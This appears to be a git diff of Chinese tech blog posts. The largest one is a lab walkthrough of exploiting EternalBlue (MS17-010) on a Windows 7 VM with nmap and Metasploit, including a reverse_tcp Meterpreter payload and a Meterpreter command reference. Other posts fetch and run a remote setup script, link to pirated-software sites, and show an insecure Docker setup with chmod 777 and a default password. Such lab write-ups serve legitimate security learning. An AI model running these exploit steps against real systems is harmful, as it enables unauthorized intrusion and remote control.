- [Git](https://git-scm.com/):分布式版本控制系统 * [Git](https://git-scm.com/):分布式版本控制系统
- [Zsh](https://www.zsh.org/):是一款功能强大、灵活可定制的 shell * [Zsh](https://www.zsh.org/)是一款功能强大、灵活可定制的shell
- [哪吒面板](https://nezha.wiki/):服务器监控与运维工具 * [哪吒面板](https://nezha.wiki/):服务器监控与运维工具
- [screenfetch](https://github.com/KittyKatt/screenFetch):屏幕截图 * [screenfetch](https://github.com/KittyKatt/screenFetch):屏幕截图
- [X-CMD](https://cn.x-cmd.com/):命令增强和扩展 * [X-CMD](https://cn.x-cmd.com/):命令增强和扩展
- 镜像仓库: * 镜像仓库:
- [中科大开源软件镜像站](https://mirrors.ustc.edu.cn/) * [中科大开源软件镜像站](https://mirrors.ustc.edu.cn/)
- [阿里巴巴开源镜像站](https://developer.aliyun.com/mirror/) * [阿里巴巴开源镜像站](https://developer.aliyun.com/mirror/)
- [网易开源镜像站](https://mirrors.163.com/) * [网易开源镜像站](https://mirrors.163.com/)
- [腾讯软件源](https://mirrors.cloud.tencent.com/) * [腾讯软件源](https://mirrors.cloud.tencent.com/)
- [华为开源镜像站](https://mirrors.huaweicloud.com/home) * [华为开源镜像站](https://mirrors.huaweicloud.com/home)
- [移动云开源镜像站](https://mirrors.cmecloud.cn/) * [移动云开源镜像站](https://mirrors.cmecloud.cn/)
- [清华大学开源软件镜像站](https://mirrors.tuna.tsinghua.edu.cn/) * [清华大学开源软件镜像站](https://mirrors.tuna.tsinghua.edu.cn/)
### 可被托管的应用 ### 可被托管的应用
--- ---
- [CF-Workers-docker.io](https://github.com/cmliu/CF-Workers-docker.io):使用 CF-workersDocker 仓库镜像代理工具 * [CF-Workers-docker.io](https://github.com/cmliu/CF-Workers-docker.io)使用CF-workersDocker仓库镜像代理工具
- [Cloudflare Proxy EX](https://github.com/1234567yang/cf-proxy-ex):使用 CF-workers 搭建代理 * [Cloudflare Proxy EX](https://github.com/1234567yang/cf-proxy-ex)使用CF-workers搭建代理
- [Vercel 部署 Hugo 站点](https://vercel.com/guides/deploying-hugo-with-vercel) * [Vercel 部署 Hugo 站点](https://vercel.com/guides/deploying-hugo-with-vercel)
### 网站 ### 网站
--- ---
- 盗版软件: * 盗版软件:
- [CyberMania](https://www.cybermania.ws/) * [CyberMania](https://www.cybermania.ws/)
- [果核剥壳](https://www.ghxi.com/) * [果核剥壳](https://www.ghxi.com/)
* 单价游戏:
- 单价游戏: * [土豆资源库](http://tdtd.chat/index)
* [3DMGAME](https://bbs.3dmgame.com/forum.php)
- [土豆资源库](http://tdtd.chat/index)
- [3DMGAME](https://bbs.3dmgame.com/forum.php)

View File

@ -13,17 +13,17 @@ tags: []
1. 下载容器脚本并使用 1. 下载容器脚本并使用
```bash ```bash
curl -LO https://gitee.com/mo2/linux/raw/2/2.awk curl -LO https://gitee.com/mo2/linux/raw/2/2.awk
awk -f 2.awk awk -f 2.awk
``` ```
2. 安装容器 2. 安装容器
- 选择 `1. proot 容器` - 选择 `1. proot 容器`
- 选择 `1. arm64 发行版列表` - 选择 `1. arm64 发行版列表`
- 选择需要的镜像 - 选择需要的镜像
- 选择需要的版本 - 选择需要的版本
- 如果显示没有权限读写文件,给软件 root 权限,重新开始 - 如果显示没有权限读写文件,给软件 root 权限,重新开始
- 请问是否新建 sudo 用户: 否 - 请问是否新建 sudo 用户: 否
- 遇到选择默认回车 - 遇到选择默认回车
- tmoe-Tools: 不需要图形化界面直接选 `0` 退出 - tmoe-Tools: 不需要图形化界面直接选 `0` 退出

View File

@ -13,14 +13,14 @@ tags: []
1. 打开 MacroDroid-Pro给予 root 权限 1. 打开 MacroDroid-Pro给予 root 权限
2. 点击下面的 **宏** 再点击 **加号** 2. 点击下面的 **宏** 再点击 **加号**
3. 配置: 3. 配置:
- **输入宏名称**:随便输入一个名字 - **输入宏名称**:随便输入一个名字
- **触发器**:点击触发器右上角的加号——设备事件——设备启动 - **触发器**:点击触发器右上角的加号——设备事件——设备启动
- **动作**:点击动作右上角的加号——连接——热点开/关——给予修改系统的权限(返回会弹出一个不适合此设备,忽略,点击确定)——选择启动热点,点击确认 - **动作**:点击动作右上角的加号——连接——热点开/关——给予修改系统的权限(返回会弹出一个不适合此设备,忽略,点击确定)——选择启动热点,点击确认
4. 点击右下角三条杠带一个加号,就可以实现热点开机启动了 4. 点击右下角三条杠带一个加号,就可以实现热点开机启动了
## 二、VPN 热点 ## 二、VPN 热点
[VPN 热点](https://lsy22.lanzouj.com/iS9hw0hz5rfa?password=lsy22) [VPN 热点](https://lsy22.lanzouj.com/iS9hw0hz5rfa?password=lsy22)
1. 打开 _VPN 热点_ 给予 root 权限 1. 打开 *VPN 热点* 给予 root 权限
2. 将 _WLAN 热点_ 打开,打开后会多一个 _wlan1_,将 _wlan1_ 打开就可以实现 VPN 热点了 2. 将 *WLAN 热点* 打开,打开后会多一个 *wlan1*,将 *wlan1* 打开就可以实现 VPN 热点了

View File

@ -16,7 +16,7 @@ tags: []
### 切换安卓 ### 切换安卓
1. 进入 fastboot 模式 1. 进入 fastboot 模式
2. 用一个 root 的手机连接一加 6T 2. 用一个 root 的手机连接一加6T
3. 在 root 手机上打开 [搞机助手](https://lsy22.lanzouq.com/il8M0z5c6oh?w1) 3. 在 root 手机上打开 [搞机助手](https://lsy22.lanzouq.com/il8M0z5c6oh?w1)
4. 选择全部 - otg 功能区 - fastboot 功能区切换 - 切换 a/b 分区 - 选择分区 A 4. 选择全部 - otg 功能区 - fastboot 功能区切换 - 切换 a/b 分区 - 选择分区 A
5. 重启到 a 分区 5. 重启到 a 分区

View File

@ -4,35 +4,35 @@ date: 2023-07-12T23:39:00+08:00
tags: [] tags: []
--- ---
## Google 服务框架 ## Google服务框架
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-services-framework/`](https://www.apkmirror.com/apk/google-inc/google-services-framework/) 下载地址:[`https://www.apkmirror.com/apk/google-inc/google-services-framework/`](https://www.apkmirror.com/apk/google-inc/google-services-framework/)
首先点击上边的网站,到 Google 服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 首先点击上边的网站到Google服务框架程序的发布地址然后找到和自己手机的安卓版本相匹配的版本。
选择 noDPI 的版本 选择noDPI的版本
关于 ARM 版本: 关于ARM版本
**一般近两年发布的手机ARM 版本都是 ARMv8。如果是老手机可以先搜一下自己的 ARM 版本。 **一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载 universal 版本,也就是兼容 v8 v7 的版本。** 也可以直接下载universal版本也就是兼容v8和v7的版本。**
## Google Play Service ## Google Play Service
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-services/`](https://www.apkmirror.com/apk/google-inc/google-play-services/) 下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-services/`](https://www.apkmirror.com/apk/google-inc/google-play-services/)
首先点击上边的网站,到 Google Play Service 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 首先点击上边的网站到Google Play Service的发布地址然后找到和自己手机的安卓版本相匹配的版本。
那么就选择 noDPI 的版本 那么就选择noDPI的版本
关于 ARM 版本: 关于ARM版本
**一般近两年发布的手机ARM 版本都是 ARMv8。如果是老手机可以先搜一下自己的 ARM 版本。 **一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载 universal 版本,也就是兼容 v8 v7 的版本。** 也可以直接下载universal版本也就是兼容v8和v7的版本。**
## Google Play Store ## Google Play Store
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-store/`](https://www.apkmirror.com/apk/google-inc/google-play-store/) 下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-store/`](https://www.apkmirror.com/apk/google-inc/google-play-store/)
首先点击上边的网站,到 Google Play Store 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 首先点击上边的网站到Google Play Store的发布地址然后找到和自己手机的安卓版本相匹配的版本。
选择 noDPI 的版本 选择noDPI的版本
关于 ARM 版本: 关于ARM版本
**一般近两年发布的手机ARM 版本都是 ARMv8。如果是老手机可以先搜一下自己的 ARM 版本。 **一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载 universal 版本,也就是兼容 v8 v7 的版本。** 也可以直接下载universal版本也就是兼容v8和v7的版本。**

View File

@ -8,7 +8,7 @@ tags: []
#### 1. 漏洞描述 #### 1. 漏洞描述
Eternalblue 通过 TCP 端口 445 139 来利用 SMBv1 NBT 中的远程代码执行漏洞,恶意代码会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。 Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞恶意代码会扫描开放445文件共享端口的Windows机器无需用户任何操作只要开机上网不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
#### 2.漏洞影响 #### 2.漏洞影响
@ -16,90 +16,88 @@ Eternalblue 通过 TCP 端口 445 和 139 来利用 SMBv1 和 NBT 中的远程
### 二. 复现环境 ### 二. 复现环境
- 虚拟环境搭建:`VMware Workstation 17 pro` * 虚拟环境搭建:`VMware Workstation 17 pro`
- 网络模式:`NAT` * 网络模式:`NAT`
- 攻击机:`kali Linux WSL` * 攻击机:`kali Linux WSL`
- 攻击机 IP`192.168.97.173` * 攻击机IP`192.168.97.173`
- 攻击工具:`nmap` `metasploit(MSF)` * 攻击工具:`nmap` `metasploit(MSF)`
- 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`**前提 win7 关闭防火墙** * 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`**前提win7关闭防火墙**
- 靶机 IP`192.168.97.128` * 靶机IP`192.168.97.128`
### 三. 启动 MSF ### 三. 启动 MSF
1. 安装 MSF 1. 安装MSF
```bash ```bash
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
``` ```
2. 进入框架 2. 进入框架
```bash ```bash
msfconsole msfconsole
``` ```
3. 初始化 3. 初始化
```bash ```bash
init init
``` ```
### 四. 寻找主机 ### 四. 寻找主机
- **ipconfig** * **ipconfig**
使用`ipconfig`分别查看 win7 和 kali 中的 ip 地址 使用`ipconfig`分别查看win7和kali中的ip地址
* **nmap**
- **nmap**
```bash ```bash
nmap -T5 -sP 192.168.97.0/24 nmap -T5 -sP 192.168.97.0/24
``` ```
- **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。 * **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
- **`-sP`**:执行 Ping 连接扫描。 * **`-sP`**:执行 Ping 连接扫描。
- **`192.168.97.0/24`**:扫描指定的 IP 地址范围。 * **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
| IP 地址 | 私有 ip 范围 | 子网掩码 | CIDR | | IP地址 | 私有ip范围 | 子网掩码 | CIDR |
| -------- | :----------------------------- | :------------ | :------------- | | --------- | :----------------------------- | :-------------- | :--------------- |
| A 类地址 | 10.0.0.0 10.255.255.255 | 255.0.0.0 | 10.0.0.0/8 | | A类地址 | 10.0.0.010.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
| B 类地址 | 172.16.0.0 173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 | | B类地址 | 172.16.0.0173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
| C 类地址 | 192.168.0.0 192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 | | C类地址 | 192.168.0.0192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
### 五. 端口扫描 ### 五. 端口扫描
- **nmap** * **nmap**
```bash ```bash
nmap -T5 -sT 192.168.97.128 nmap -T5 -sT 192.168.97.128
``` ```
- **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。 * **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
- **`-sT`**:执行 TCP 连接扫描。 * **`-sT`**:执行 TCP 连接扫描。
- **`192.168.97.128`**:扫描指定的 IP * **`192.168.97.128`**:扫描指定的 IP
* **MSF** 端口扫描
- **MSF** 端口扫描
1. 使用模块 1. 使用模块
```bash ```bash
use auxiliary/scanner/portscan/tcp use auxiliary/scanner/portscan/tcp
``` ```
2. 设置扫描 ip 2. 设置扫描ip
```bash ```bash
set rhosts 192.168.97.128 set rhosts 192.168.97.128
``` ```
3. 运行 3. 运行
```bash ```bash
run run
``` ```
### 六. 查找永恒之蓝漏洞 ### 六. 查找永恒之蓝漏洞
@ -111,62 +109,59 @@ search ms17_010
1. `exploit/windows/smb/ms17_010_eternalblue` 1. `exploit/windows/smb/ms17_010_eternalblue`
- 这个模块利用了 MS17-010 漏洞,通过 EternalBlue 攻击载荷,远程执行代码。 * 这个模块利用了MS17-010漏洞通过EternalBlue攻击载荷远程执行代码。
- EternalBlue 利用 Windows 的 Server Message BlockSMB协议中的漏洞允许攻击者在目标机器上执行任意代码。 * EternalBlue利用Windows的Server Message BlockSMB协议中的漏洞允许攻击者在目标机器上执行任意代码。
- 攻击成功后,通常会在目标机器上生成一个 Meterpreter 会话,从而允许进一步的渗透测试操作。 * 攻击成功后通常会在目标机器上生成一个Meterpreter会话从而允许进一步的渗透测试操作。
2. `exploit/windows/smb/ms17_010_psexec` 2. `exploit/windows/smb/ms17_010_psexec`
- 这个模块结合 MS17-010 漏洞和 Psexec 技术,通过 SMB 协议在目标系统上执行命令。 * 这个模块结合MS17-010漏洞和Psexec技术通过SMB协议在目标系统上执行命令。
- 利用 MS17-010 漏洞进行初始攻击,然后使用 Psexec 进行进一步的远程命令执行。 * 利用MS17-010漏洞进行初始攻击然后使用Psexec进行进一步的远程命令执行。
- 适用于在利用 MS17-010 漏洞后希望使用 Psexec 执行进一步的命令和控制操作时。 * 适用于在利用MS17-010漏洞后希望使用Psexec执行进一步的命令和控制操作时。
3. `auxiliary/admin/smb/ms17_010_command` 3. `auxiliary/admin/smb/ms17_010_command`
- 这个辅助模块用于通过 MS17-010 漏洞在目标系统上执行指定的命令。 * 这个辅助模块用于通过MS17-010漏洞在目标系统上执行指定的命令。
- 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。 * 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
- 适用于希望通过 MS17-010 漏洞在目标系统上执行单个命令的场景。 * 适用于希望通过MS17-010漏洞在目标系统上执行单个命令的场景。
4. `auxiliary/scanner/smb/smb_ms17_010` 4. `auxiliary/scanner/smb/smb_ms17_010`
- 这个辅助模块用于扫描目标系统是否存在 MS17-010 漏洞。 * 这个辅助模块用于扫描目标系统是否存在MS17-010漏洞。
- 不会进行实际的漏洞利用或攻击,而是仅检测目标系统是否易受 MS17-010 漏洞的影响。 * 不会进行实际的漏洞利用或攻击而是仅检测目标系统是否易受MS17-010漏洞的影响。
### 七. 漏洞检测 ### 七. 漏洞检测
- 使用探测模块 * 使用探测模块
1. 使用`Auxiliary`辅助探测模块 1. 使用`Auxiliary`辅助探测模块
```bash ```bash
use auxiliary/scanner/smb/smb_ms17_010 use auxiliary/scanner/smb/smb_ms17_010
``` ```
```bash ```bash
use 24 use 24
``` ```
2. 查看需要配置的参数 2. 查看需要配置的参数
```bash ```bash
show options show options
``` ```
3. 设置目标主机地址 3. 设置目标主机地址
```bash ```bash
set rhosts 192.168.97.128 set rhosts 192.168.97.128
``` ```
4. 运行 4. 运行
```bash ```bash
run run
``` ```
- nmap * nmap
```bash ```bash
nmap --script smb-vuln-ms17-010 192.168.97.128 nmap --script smb-vuln-ms17-010 192.168.97.128
@ -176,29 +171,29 @@ search ms17_010
1. 加载 ms17-010 攻击模块 1. 加载 ms17-010 攻击模块
```bash ```bash
use exploit/windows/smb/ms17_010_eternalblue use exploit/windows/smb/ms17_010_eternalblue
``` ```
2. 设置目标主机地址 2. 设置目标主机地址
```bash ```bash
set rhosts 192.168.97.128 set rhosts 192.168.97.128
``` ```
3. 设置连接方式为反向连接 3. 设置连接方式为反向连接
```bash ```bash
set payload windows/x64/meterpreter/reverse_tcp set payload windows/x64/meterpreter/reverse_tcp
``` ```
4. 运行 4. 运行
```bash ```bash
run run
``` ```
### Meterpreter 的命令用法 ### Meterpreter的命令用法
```bash ```bash
========================================== ==========================================
@ -375,33 +370,33 @@ timestomp 操作文件 MACE 属性
#### 基础使用 #### 基础使用
- 进入框架 * 进入框架
```bash ```bash
msfconsole msfconsole
``` ```
- 查找漏洞 * 查找漏洞
```bash ```bash
search 漏洞编号 search 漏洞编号
``` ```
- 使用模块 * 使用模块
```bash ```bash
run run
``` ```
#### Meterpreter 工作原理 #### Meterpreter工作原理
> 首先目标先要执行初始的溢出漏洞会话连接,可能是 bind 正向连接,或者反弹 reverse 连接。反射连接的时候加载 dll 链接文件,同时后台悄悄处理 dll 文件。其次 Meterpreter 核心代码初始化,通过 socket 套接字建立一个 TLS/1.0 加密隧道并发送 GET 请求给 Metasploit 服务端。Metasploit 服务端收到这个 GET 请求后就配置相应客户端。最后Meterpreter 加载扩展,所有的扩展被加载都通过 TLS/1.0 进行数据传输。 > 首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接或者反弹 reverse 连接。反射连接的时候加载dll链接文件同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后Meterpreter加载扩展所有的扩展被加载都通过TLS/1.0进行数据传输。
#### 漏洞利用(exploit) #### 漏洞利用(exploit)
> 漏洞利用 exploit也就是我们常说的 exp他就是对漏洞进行攻击的代码。 > 漏洞利用exploit也就是我们常说的exp他就是对漏洞进行攻击的代码。
exploit 漏洞利用模块路径(这里面有针对不同平台的 exploit) exploit漏洞利用模块路径(这里面有针对不同平台的exploit)
```php ```php
/usr/share/metasploit-framework/modules/exploits /usr/share/metasploit-framework/modules/exploits
@ -409,51 +404,52 @@ exploit 漏洞利用模块路径(这里面有针对不同平台的 exploit)
#### 攻击载荷(payload) #### 攻击载荷(payload)
> PayloadPayload 中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在 Metasploit Payload 是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了 Payload 在目标系统中的行为。 > PayloadPayload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码而在Metasploit中Payload是一种特殊模块它们能够以漏洞利用模块运行并能够利用目标系统中的安全漏洞实施攻击。简而言之这种漏洞利用模块可以访问目标系统而其中的代码定义了Payload在目标系统中的行为。
> >
> ShellcodeShellcode payload 中的精髓部分在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode 通常用汇编语言编写。在大多数情况下,目标系统执行了 shellcode 这一组指令之后,才会提供一个命令行 shell。 > ShellcodeShellcode是payload中的精髓部分在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下目标系统执行了shellcode这一组指令之后才会提供一个命令行shell。
##### payload 模块路径 ##### payload模块路径
```php ```php
/usr/share/metasploit-framework/modules/payloads /usr/share/metasploit-framework/modules/payloads
``` ```
##### Metasploit 中的 Payload 模块主要有以下三种类型 ##### Metasploit中的 Payload 模块主要有以下三种类型
- Single * Single
> 是一种完全独立的 Payload而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于 Single Payload 是完全独立的,因此它们有可能会被类似 netcat 这样的非 metasploit 处理工具所捕捉到。 > 是一种完全独立的Payload而且使用起来就像运行calc.exe一样简单例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。
>
* Stager
- Stager > 这种Payload 负责建立目标用户与攻击者之间的网络连接并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp它可以让目标系统开启一个tcp监听器而攻击者随时可以与目标系统进行通信(正向连接)。  
>
* Stage
> 这种 Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的 Stager Payload 就是 reverse_tcp它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是 bind_tcp它可以让目标系统开启一个 tcp 监听器,而攻击者随时可以与目标系统进行通信(正向连接)。 > 是Stager Payload下的一种Payload组件这种Payload可以提供更加高级的功能而且没有大小限制。
>
- Stage ##### 几种常见的payload
> 是 Stager Payload 下的一种 Payload 组件,这种 Payload 可以提供更加高级的功能,而且没有大小限制。 * 正向连接
##### 几种常见的 payload
- 正向连接
```bash ```bash
windows/meterpreter/bind_tcp windows/meterpreter/bind_tcp
``` ```
- 反向连接 * 反向连接
```bash ```bash
windows/meterpreter/reverse_tcp windows/meterpreter/reverse_tcp
``` ```
- 过监听 80 端口反向连接 * 过监听80端口反向连接
```bash ```bash
windows/meterpreter/reverse_http windows/meterpreter/reverse_http
``` ```
- 通过监听 443 端口反向连接 * 通过监听443端口反向连接
```bash ```bash
windows/meterpreter/reverse_https windows/meterpreter/reverse_https
@ -461,14 +457,15 @@ exploit 漏洞利用模块路径(这里面有针对不同平台的 exploit)
##### **使用场景** ##### **使用场景**
- 正向连接使用场景: * 正向连接使用场景:
> 我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了 80 端口。那么,我们就只能设置正向连接 80 端口了,这里很有可能失败,因为 80 端口上的流量太多了。 > 我们的攻击机在内网环境被攻击机是外网环境由于被攻击机无法主动连接到我们的主机所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是被攻击机上开了防火墙只允许访问指定的端口比如被攻击机只对外开放了80端口。那么我们就只能设置正向连接80端口了这里很有可能失败因为80端口上的流量太多了。
>
- 反向连接使用场景: * 反向连接使用场景:
> 我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。 > 我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
>
* 反向连接80和443端口使用场景
- 反向连接 80 和 443 端口使用场景: > 被攻击机能主动连接到我们的主机还有就是被攻击机的防火墙设置的特别严格就连被攻击机访问外部网络的流量也进行了严格的限制只允许被攻击机的80端口或443端口与外部通信。
>
> 被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的 80 端口或 443 端口与外部通信。

View File

@ -32,21 +32,21 @@ tags: ["Docker-compose"]
构建 PHP 容器,安装 PDO_MySQL 扩展并配置 PHP.ini 构建 PHP 容器,安装 PDO_MySQL 扩展并配置 PHP.ini
```dockerfile ```dockerfile
FROM php:fpm FROM php:fpm
# 更新包列表并安装 pdo_mysql 扩展 # 更新包列表并安装 pdo_mysql 扩展
RUN apt-get update && \ RUN apt-get update && \
apt-get install -y libpq-dev && \ apt-get install -y libpq-dev && \
docker-php-ext-install pdo_mysql && \ docker-php-ext-install pdo_mysql && \
rm -rf /var/lib/apt/lists/* rm -rf /var/lib/apt/lists/*
# 设置 PHP 配置 # 设置 PHP 配置
RUN { \ RUN { \
echo "output_buffering = 4096"; \ echo "output_buffering = 4096"; \
echo "date.timezone = PRC"; \ echo "date.timezone = PRC"; \
} > /usr/local/etc/php/conf.d/custom.ini } > /usr/local/etc/php/conf.d/custom.ini
``` ```
2. **Nginx 服务器配置** 2. **Nginx 服务器配置**
@ -54,41 +54,41 @@ tags: ["Docker-compose"]
Nginx 服务器配置文件,包括服务器监听、根目录设置、重写规则和 PHP 处理: Nginx 服务器配置文件,包括服务器监听、根目录设置、重写规则和 PHP 处理:
```nginx ```nginx
server { server {
listen 80 default_server; # 监听 80 端口 listen 80 default_server; # 监听 80 端口
root /var/www/html; # 网站根目录 root /var/www/html; # 网站根目录
index index.php index.html index.htm; index index.php index.html index.htm;
access_log /var/log/nginx/typecho_access.log main; # 访问日志 access_log /var/log/nginx/typecho_access.log main; # 访问日志
if (!-e $request_filename) { if (!-e $request_filename) {
rewrite ^(.*)$ /index.php$1 last; # 重写 URL 到 index.php rewrite ^(.*)$ /index.php$1 last; # 重写 URL 到 index.php
} }
location / { location / {
if (!-e $request_filename) { if (!-e $request_filename) {
rewrite . /index.php last; # 如果文件不存在,重写到 index.php rewrite . /index.php last; # 如果文件不存在,重写到 index.php
} }
} }
location ~ \.php(.*)$ { location ~ \.php(.*)$ {
fastcgi_pass php:9000; # 转发 PHP 请求到 php-fpm 服务 fastcgi_pass php:9000; # 转发 PHP 请求到 php-fpm 服务
fastcgi_index index.php; fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # 设置脚本文件名参数 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # 设置脚本文件名参数
include fastcgi_params; # 包含 fastcgi 参数 include fastcgi_params; # 包含 fastcgi 参数
} }
} }
``` ```
3. **Typecho 源代码部署** 3. **Typecho 源代码部署**
创建 `./data` 文件夹,并将 [Typecho](https://github.com/typecho/typecho/releases) 源代码放入此文件夹。 创建 `./data` 文件夹,并将 [Typecho](https://github.com/typecho/typecho/releases) 源代码放入此文件夹。
docker 容器不以 root 权限运行,无法访问文件,需要赋权 docker容器不以root权限运行,无法访问文件,需要赋权
```bash ```bash
chmod -R 777 data chmod -R 777 data
``` ```
4. **Docker Compose 配置** 4. **Docker Compose 配置**
@ -98,51 +98,52 @@ tags: ["Docker-compose"]
可自行更改 可自行更改
- nginx 中的端口,默认为`9757` * nginx 中的端口,默认为`9757`
- MySQL 中的 root 的密码 和 需要创建的数据库名称,默认都为`typecho` * MySQL中的 root的密码 和 需要创建的数据库名称,默认都为`typecho`
```yaml ```yaml
services: # 定义多个服务 services: # 定义多个服务
nginx: # 服务名称
image: nginx # 使用的镜像
ports: # 映射的端口
- "9575:80" # 宿主机端口 9575 映射到容器端口 80
restart: always # 容器重启策略
volumes: # 映射文件
- ./data:/var/www/html # 网站源代码
- ./nginx/conf:/etc/nginx/conf.d # nginx 站点配置文件
- ./nginx/logs:/var/log/nginx # nginx 日志文件
depends_on: # 定义依赖关系
- php # 依赖 php 服务
networks: # 要加入的网络
- typecho # 加入 typecho 网络
php: # 服务名称 nginx: # 服务名称
build: ./php # 构建文件的目录 image: nginx # 使用的镜像
restart: always # 容器重启策略 ports: # 映射的端口
volumes: # 映射文件 - "9575:80" # 宿主机端口 9575 映射到容器端口 80
- ./data:/var/www/html # 网站源代码 restart: always # 容器重启策略
depends_on: # 定义依赖关系 volumes: # 映射文件
- mysql # 依赖 mysql 服务 - ./data:/var/www/html # 网站源代码
networks: # 要加入的网络 - ./nginx/conf:/etc/nginx/conf.d # nginx 站点配置文件
- typecho # 加入 typecho 网络 - ./nginx/logs:/var/log/nginx # nginx 日志文件
depends_on: # 定义依赖关系
- php # 依赖 php 服务
networks: # 要加入的网络
- typecho # 加入 typecho 网络
mysql: # 服务名称 php: # 服务名称
image: mysql:5.7 # 指定 5.7 版本的 mysql 镜像 build: ./php # 构建文件的目录
restart: always # 容器重启策略 restart: always # 容器重启策略
volumes: # 要映射的文件 volumes: # 映射文件
- ./mysql/data:/var/lib/mysql # mysql 数据 - ./data:/var/www/html # 网站源代码
- ./mysql/logs:/var/log/mysql # mysql 日志 depends_on: # 定义依赖关系
- ./mysql/conf:/etc/mysql/conf.d # mysql 配置文件 - mysql # 依赖 mysql 服务
environment: # 环境变量 networks: # 要加入的网络
MYSQL_ROOT_PASSWORD: typecho # MySQL root 用户的密码 - typecho # 加入 typecho 网络
MYSQL_DATABASE: typecho # 创建的数据库名称
networks: # 要加入的网络
- typecho # 加入 typecho 网络
networks: # 定义的内部网络 mysql: # 服务名称
typecho: # 网络名称 image: mysql:5.7 # 指定 5.7 版本的 mysql 镜像
``` restart: always # 容器重启策略
volumes: # 要映射的文件
- ./mysql/data:/var/lib/mysql # mysql 数据
- ./mysql/logs:/var/log/mysql # mysql 日志
- ./mysql/conf:/etc/mysql/conf.d # mysql 配置文件
environment: # 环境变量
MYSQL_ROOT_PASSWORD: typecho # MySQL root 用户的密码
MYSQL_DATABASE: typecho # 创建的数据库名称
networks: # 要加入的网络
- typecho # 加入 typecho 网络
networks: # 定义的内部网络
typecho: # 网络名称
```
## 安装 ## 安装
@ -156,34 +157,34 @@ docker compose up -d
如果修改过`docker-compose.yml` 如果修改过`docker-compose.yml`
- 数据库地址: `mysql` * 数据库地址: `mysql`
```text ```text
因为docker内部网络可以用过容器名访问 因为docker内部网络可以用过容器名访问
``` ```
- 数据库用户名: `root` * 数据库用户名: `root`
- 数据库密码: `typecho` * 数据库密码: `typecho`
- 数据库名: `typecho` * 数据库名: `typecho`
- 启用数据库 SSL 服务端证书验证: 关闭 * 启用数据库 SSL 服务端证书验证: 关闭
- 其他默认或随意 * 其他默认或随意
## 问题 ## 问题
